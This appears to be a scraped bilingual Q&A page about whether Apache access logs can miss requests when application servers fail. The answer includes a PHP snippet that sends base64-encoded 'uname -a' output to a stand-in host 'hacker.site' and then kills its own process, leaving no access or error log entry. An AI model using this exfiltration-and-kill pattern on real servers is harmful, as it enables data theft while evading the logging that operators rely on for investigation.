简体   繁体   English

Apache Access日志是否曾经错过了请求?

[英]Do Apache Access Logs Ever Miss Requests?

My workplace has Apache in-front of various Java application servers. 我的工作场所在各种Java应用服务器的前面都有Apache。 I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status. 我经常需要调查生产问题并依赖那些记录对应用程序服务器的所有请求的Apache Access日志,无论它们是成功的(200),重定向(302),错误(500)还是其他一些状态。

A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged. 有几次然而,通常当应用程序服务器无法响应,并要求重新启动,它看起来像或许有些请求并没有被记录。

I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs. 我尝试在本地重现这个(启动一个长时间运行的请求,并允许请求超过Apache服务器上的超时或者只是从命令行中删除应用程序服务器)但我总是在访问日志中记录请求。

My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request? 我的问题是,假设Apache运行良好但面临应用程序服务器问题,Apache访问日志是否会错过请求?

It can miss requests in some cases, docs contain important sentence: 在某些情况下,它可能会错过请求, 文档包含重要的句子:

The server access log records all requests processed by the server. 服务器访问日志记录服务器处理的所有请求。

So if request is not processed, then we should not expect entry in access_log . 因此,如果未处理请求,那么我们不应期望在access_log中输入。 If you wonder if such situation can be easily reproduced, then I found a way to do it. 如果你想知道这种情况是否可以轻易复制,那么我找到了一种方法。

Consider following PHP code ( test.php ): 考虑以下PHP代码( test.php ):

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());

Also you have to run Apache with prefork MPM and mod_php module. 此外,您还必须使用prefork MPM和mod_php模块运行Apache。 Then make request with browser or telnet: 然后使用浏览器或telnet发出请求:

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.

As you can see, connection is closed without any response. 如您所见,连接已关闭,没有任何响应。 Also there are no logs in access_log nor error_log , despite code was executed and attacker received encoded result of command uname -a . 尽管代码已执行且攻击者收到命令uname -a编码结果,但access_logerror_log中都没有日志。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM